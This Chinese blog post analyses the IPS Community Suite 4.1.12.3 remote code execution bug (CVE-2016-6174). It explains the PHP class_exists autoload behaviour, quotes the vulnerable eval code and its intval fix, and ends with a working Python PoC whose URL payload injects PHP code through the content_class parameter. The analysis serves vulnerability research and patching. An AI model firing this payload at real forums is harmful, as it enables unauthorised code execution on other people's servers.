IPS Community Suite Remote Code Execution Analysis
花了三天时间去分析这漏洞, 两天搞环境, 半天分析漏洞, 半天写总结。
然后研究了一个phpenv + lnmp的不同虚拟主机不同php版本, 写了一个一键新建相应php版本的虚拟主机脚本, 会在之后的文章中发出来。
漏洞分析参考链接:http://blog.knownsec.com/2016/08/ips-community-suite-php-rce-cve-2016-6174/
测试应用: IPS.Community.Suite.4.1.12.3_nulled.zip
对于IPS远程代码执行的漏洞, 我觉得是比较鸡肋的, 因为关键有一个PHP版本的限制:
<=5.4.24 && 5.5.0-5.5.8
在安装4.1.12.3版本的IPS时, 该CMS会检测服务器的PHP版本, 要求 >=5.5.0
, 建议>5.6.0
所以说有效版本应该是 5.5.0-5.5.8
, 小于等于5.4.24
版本时, IPS根本无法安装
我使用的测试版本: 5.5.0, 安装的时候会产生致命bug, 我花了一天去调bug, 也没能根本解决.
在安装的最后一步, 应该是安装模块库之类的, 在每个安装步骤中定位到一句 unset( \IPS\.*::i()->* ); //比如 unset( \IPS\Data\Store::i()->settings );
如果你直接输出unset的内容 var_dump( \IPS\Data\Store::i()->settings );exit;
, 你会发现CMS报错了, 但是是输出一系列数组, 并没有解释错误的具体原因, 而unset一个error的变量, 显然会爆炸, 导致502
而该CMS安装的过程中一个步骤错误, 安装就会终止不会继续进行下去了, 而且会error的变量我并没有找到啥特征, 而且并不是所有这类的变量都会error, 所以没能在根本上解决问题, 不过我装IPS又不是为了使用, 只是为了用来研究漏洞, 所以把unset注释了, 可以从表面上解决该问题, 不过会出错的地方太多了, 我只能批量注释了:
1 2
| $ grep "unset(.*::i()->" ./* -rl | xargs sed -i "s/unset( \\\\IPS/\/\/unset( \\\\IPS/g"
|
之后我使用php7.0安装IPS, 一下就好了, 没有出现任何问题, 所以我猜测该bug的原因应该是使用了一些不向下兼容的函数或新函数之类
虽然最终我成功安装好了, 但是过程是艰辛的, 从ZoomEye上搜IPS Community Suite
, 只搜出30+的结果, 然后再加上php的版本限制, 如果php版本在这范围内, 有耐心解决bug安装成功的, 然后还不懂安全, 能有多少?所以我觉得这是一个比较鸡肋的漏洞
现在开始分析该漏洞
该漏洞关键点是利用了class_exists函数的机制,来举例说明一下,对比的环境是php5.5.0 && php7.0.0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php class Foo { function Bar() { echo "a"; } } function autoLoadClass($name) { echo 'spl_autoload_register: ', $name, '<br>'; }
function autoLoadClass2($name) { echo 'spl_autoload_register2: ', $name, '<br>'; }
spl_autoload_register('autoLoadClass'); spl_autoload_register('autoLoadClass2');
class_exists("Foo"); class_exists("Bar"); class_exists("Foo\Bar"); ?>
|
上面的代码说明的是class_exists
函数的机制,两个版本的运行结果都一样
class_exists
函数的作用是判断类是否存在,如果不存在,会去执行通过spl_autoload_register
函数注册的函数,如果存在则返回true
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php class Foo { function Bar() { echo "a"; } }
function autoLoadClass($name) { echo 'spl_autoload_register: ', $name, '<br>'; }
spl_autoload_register('autoLoadClass');
for ($i = 0; $i < 256 ; $i++) { $class_base = "Foo"; $class = $class_base.chr($i); var_dump(class_exists($class)); echo " =====> ".chr($i)."<br>"; } ?>
|
上面的代码是为了说明php5.5.0
与 php7.0.0
在class_exists函数上的不同点
结果太长了不好截图, 自己跑跑就知道了, php7.0.0
对于class_exists函数输入的classname有进行一系列的过滤, 如果classname中出现了非法字符则直接返回false, 而php5.5.0
却不会进行任何字符检测,只是要未定义的类名皆会运行spl_autoload_register
注册的函数
再来看看IPS的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| class _content extends \IPS\Dispatcher\Controller {
protected function find() { if ( ! \IPS\Request::i()->content_class AND ! \IPS\Request::i()->content_id AND ! \IPS\Request::i()->content_commentid ) { \IPS\Output::i()->error( 'node_error', '2S226/1', 404, '' ); } $class = 'IPS\\' . implode( '\\', explode( '_', \IPS\Request::i()->content_class ) );
if ( ! class_exists( $class ) or ! in_array( 'IPS\Content', class_parents( $class ) ) ) { \IPS\Output::i()->error( 'node_error', '2S226/2', 404, '' ); }
|
这里的class_exists
函数判断$class
是否存在, 而$class = "IPS\" + "可控"
, 所以如果我们构造一个不存在的类则会进入spl_autoload_register
注册的函数之中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| spl_autoload_register( function( $class ) { if ( mb_substr( $class, 0, 15 ) === 'IPS\cms\Records' and is_numeric( mb_substr( $class, 15, 1 ) ) ) { ...... } if ( mb_substr( $class, 0, 23 ) === 'IPS\cms\Records\Comment' and is_numeric( mb_substr( $class, 23, 1 ) ) ) { $databaseId = mb_substr( $class, 23 ); $data = <<<EOF namespace IPS\cms\Records; class Comment{$databaseId} extends Comment { protected static \$multitons = array(); public static \$customDatabaseId = $databaseId; public static \$itemClass = 'IPS\cms\Records{$databaseId}'; public static \$title = 'content_record_comments_title_{$databaseId}'; public static \$reputationType = 'comment_id_{$databaseId}'; } EOF; eval( $data ); }
if ( mb_substr( $class, 0, 22 ) === 'IPS\cms\Records\Review' and is_numeric( mb_substr( $class, 22, 1 ) ) ) { $databaseId = mb_substr( $class, 22 );
$data = <<<EOF namespace IPS\cms\Records; class Review{$databaseId} extends Review { protected static \$multitons = array(); public static \$customDatabaseId = $databaseId; public static \$itemClass = 'IPS\cms\Records{$databaseId}'; public static \$title = 'content_record_reviews_title_{$databaseId}'; } EOF; eval( $data ); } if ( mb_substr( $class, 0, 18 ) === 'IPS\cms\Categories' and is_numeric( mb_substr( $class, 18, 1 ) ) ) { $databaseId = mb_substr( $class, 18 ); $data = <<<EOF namespace IPS\cms; class Categories{$databaseId} extends Categories { protected static \$multitons = array(); public static \$customDatabaseId = $databaseId; public static \$contentItemClass = 'IPS\cms\Records{$databaseId}'; protected static \$containerIds = NULL; } EOF;
eval( $data ); } if ( mb_substr( $class, 0, 32 ) === 'IPS\cms\Records\RecordsTopicSync' ) { $databaseId = mb_substr( $class, 32 ); $data = <<<EOF namespace IPS\cms\Records; class RecordsTopicSync{$databaseId} extends \IPS\cms\Records{$databaseId} { protected static \$multitons = array(); public static \$customDatabaseId = $databaseId; public static \$databaseTable = 'cms_custom_database_{$databaseId}'; public static \$databaseColumnId = 'record_topicid'; public static \$commentClass = 'IPS\cms\Records\CommentTopicSync{$databaseId}';
public function useForumComments() { return false; } } EOF; eval( $data ); }
if ( mb_substr( $class, 0, 32 ) === 'IPS\cms\Records\CommentTopicSync' ) { $databaseId = mb_substr( $class, 32 );
$data = <<<EOF namespace IPS\cms\Records; class CommentTopicSync{$databaseId} extends CommentTopicSync { protected static \$multitons = array(); public static \$customDatabaseId = $databaseId; public static \$itemClass = 'IPS\cms\Records\RecordsTopicSync{$databaseId}'; public static \$title = 'content_record_comments_title_{$databaseId}'; } EOF; eval( $data ); }
if ( mb_substr( $class, 0, 14 ) === 'IPS\cms\Fields' and is_numeric( mb_substr( $class, 14, 1 ) ) ) { $databaseId = mb_substr( $class, 14 ); eval( "namespace IPS\\cms; class Fields{$databaseId} extends Fields { public static \$customDatabaseId = $databaseId; }" ); }
if ( mb_substr( $class, 0, 47 ) === 'IPS\cms\extensions\core\EditorLocations\Records' and is_numeric( mb_substr( $class, 47, 1 ) ) ) { $databaseId = mb_substr( $class, 47 ); eval( "namespace IPS\\cms\\extensions\\core\\EditorLocations; class Records{$databaseId} extends \\IPS\\cms\\extensions\\core\\EditorLocations\\Records { public static \$customDatabaseId = $databaseId; }" ); } } );
|
除了第一个判断,其他所有判断我们都可以进入造成命令执行漏洞(所以第一个判断的代码我省略了), 比如第二判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| if ( mb_substr( $class, 0, 23 ) === 'IPS\cms\Records\Comment' and is_numeric( mb_substr( $class, 23, 1 ) ) ) { $databaseId = mb_substr( $class, 23 ); $data = <<<EOF namespace IPS\cms\Records; class Comment{$databaseId} extends Comment { protected static \$multitons = array(); public static \$customDatabaseId = $databaseId; public static \$itemClass = 'IPS\cms\Records{$databaseId}'; public static \$title = 'content_record_comments_title_{$databaseId}'; public static \$reputationType = 'comment_id_{$databaseId}'; } EOF; eval( $data ); }
|
如果$class = "IPS\cms\Records\Comment1xxxxxxxx"
则可以进入判断
在比如最后一个判断再输出下执行的值:
总结
php版本限制的原因是闭合代码的字符, 比如{ } ;
这些都属于非法字符, 上面的第二个测试代码有Fuzzing出允许的字符, 如果使用允许的字符能构造出语法正确的命令则可以增加该漏洞的杀伤力, 不过新版本已经使用intval
函数对于输入进行过滤了
1 2 3 4 5 6
| //example if ( mb_substr( $class, 0, 47 ) === 'IPS\cms\extensions\core\EditorLocations\Records' and is_numeric( mb_substr( $class, 47, 1 ) ) ) { $databaseId = intval(mb_substr( $class, 47 )); eval( "namespace IPS\\cms\\extensions\\core\\EditorLocations; class Records{$databaseId} extends \\IPS\\cms\\extensions\\core\\EditorLocations\\Records { public static \$customDatabaseId = $databaseId; }" ); }
|
带上PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| def _verify(self): result = {} random_string = random.choice(string.ascii_lowercase) + random.choice(string.ascii_uppercase) random_string = hashlib.sha1(random_string).hexdigest()[20:] + "H" random_num1 = random.randint(24,46330) random_num2 = random.randint(200,46040) payload = '/index.php?app=core&module=system&controller=content&do=find&content_class=cms\Fields1{}echo %s*%s, "%s";exit;/*' %(random_num1, random_num2, random_string) res = req.get(self.url + payload) random_string = str(random_num1*random_num2) + random_string if res.status_code == 200 and random_string in res.content: result = {'VerifyInfo': {}} result['VerifyInfo']['URL'] = self.url return self.parse_output(result)
|